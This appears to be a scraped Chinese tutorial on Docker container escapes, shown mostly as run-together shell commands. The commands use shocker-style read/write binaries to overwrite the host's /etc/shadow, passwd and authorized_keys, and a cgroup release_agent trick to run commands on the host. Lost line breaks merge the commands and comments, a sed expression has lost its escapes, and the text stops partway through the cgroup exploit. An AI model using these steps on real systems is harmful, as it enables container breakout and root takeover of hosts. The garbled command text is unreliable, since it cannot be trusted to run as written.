容器逃逸的7种方式 0x3（终章）

apt install -y vim # or any other editorapt install -y sshapt install -y gcc

sudo apt install openssh-server

docker run -it --cap-drop=ALL --cap-add=DAC_OVERRIDE --cap-add=DAC_READ_SEARCH --cap-add=SETGID --cap-add=SETUID --cap-add=CHOWN --cap-add=FOWNER ubuntu bash

docker run -it --cap-drop=ALL --cap-add=DAC_OVERRIDE --cap-add=DAC_READ_SEARCH --cap-add=CHOWN --cap-add=SETGID --cap-add=SETUID --cap-add=FOWNER ubuntu bash

docker run -it --cap-drop=ALL --cap-add=DAC_OVERRIDE --cap-add=DAC_READ_SEARCH ubuntu bash

docker run -it --cap-drop=ALL --cap-add=DAC_OVERRIDE --cap-add=DAC_READ_SEARCH --cap-add=SETGID --cap-add=SETUID --cap-add=CHOWN --cap-add=FOWNER ubuntu bash

https://github.com/carlospolop/hacktricks/blob/master/linux-hardening/privilege-escalation/linux-capabilities.md#cap_dac_read_searchhttps://github.com/carlospolop/hacktricks/blob/master/linux-hardening/privilege-escalation/linux-capabilities.md#cap_dac_override

# Copy and paste the shocker.c contentvim shocker.cgcc -o read shocker.c# Copy and paste the shocker_write.c contentvim shocker_write.cgcc -o write shocker_write.c# Use the ./read to read files from host: ./read /host/path /container/path./read /etc/shadow shadow./read /etc/passwd passwd# Create new user and reset its passworduseradd <USER-NAME>echo '<USER-NAME>:<PASSWORD>' | chpasswd # Update the new user details in the copied files from hosttail -1 /etc/passwd >> passwdtail -1 /etc/shadow >> shadow# Copy the new user password hash paste it also for the root user in the shadow file. This will allow us to elevate permissions on the host.vim shadow# Use the ./write to write files from host: ./write /host/path /container/path./write /etc/passwd passwd./write /etc/shadow shadow# Connect to host over ssh using the new user (unprivileged)ssh <USER>@<HOST-IP># Elevate privileges to root user with the new passwordsu

# Generate new ssh key ssh-keygen# Copy and paste the shocker.c contentvim shocker.cgcc -o read shocker.c# Copy and paste the shocker_write.c contentvim shocker_write.cgcc -o write shocker_write.c# Use the ./read to read files from host: ./read /host/path /container/path./read ~/.ssh/authorized_keys authorized_keys # Copy the new ssh public key # Remove the 'authorized_keys' content and paste the public keyvim authorized_keys# Use the ./write to write files from host: ./write /host/path./write ~/.ssh/authorized_keys authorized_keys # Connect to host over sshssh -i <PRIVATE-KEY> <USER>@<HOST-IP>

https://twitter.com/_fel1x/status/1151487051986087936?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1151487053370187776%7Ctwgr%5E08f2ef3f9e69e5351223327ef9c1639cd97c4f89%7Ctwcon%5Es2_&ref_url=https%3A%2F%2Fblog.trailofbits.com%2F2019%2F07%2F19%2Funderstanding-docker-container-escapes%2F

mount | grep '^cgroup' | awk '{print $5}' | uniq

docker run -it --cap-drop=ALL --cap-add=SYS_ADMIN --cap-add=DAC_OVERRIDE --security-opt apparmor=unconfined ubuntu:16.04 bash

docker run -it --cap-drop=ALL --cap-add=SYS_ADMIN --cap-add=DAC_OVERRIDE --cap-add=SETGID --cap-add=SETUID --cap-add=CHOWN --cap-add=FOWNER --security-opt apparmor=unconfined ubuntu:16.04 bash

# create /tmp/cgrp, mount RDMA cgroup controller into it and create child cgroup mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x # Enable the notify_on_release flagecho 1 > /tmp/cgrp/x/notify_on_release# Define host_path parameter with the container path on hosthost_path=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab`# Define path in release_agent which execute when all a cgroup tasks are done.echo "$host_path/cmd" > /tmp/cgrp/release_agentecho '#!/bin/sh' > /cmdecho "ps aux > $host_path/output" >> /cmd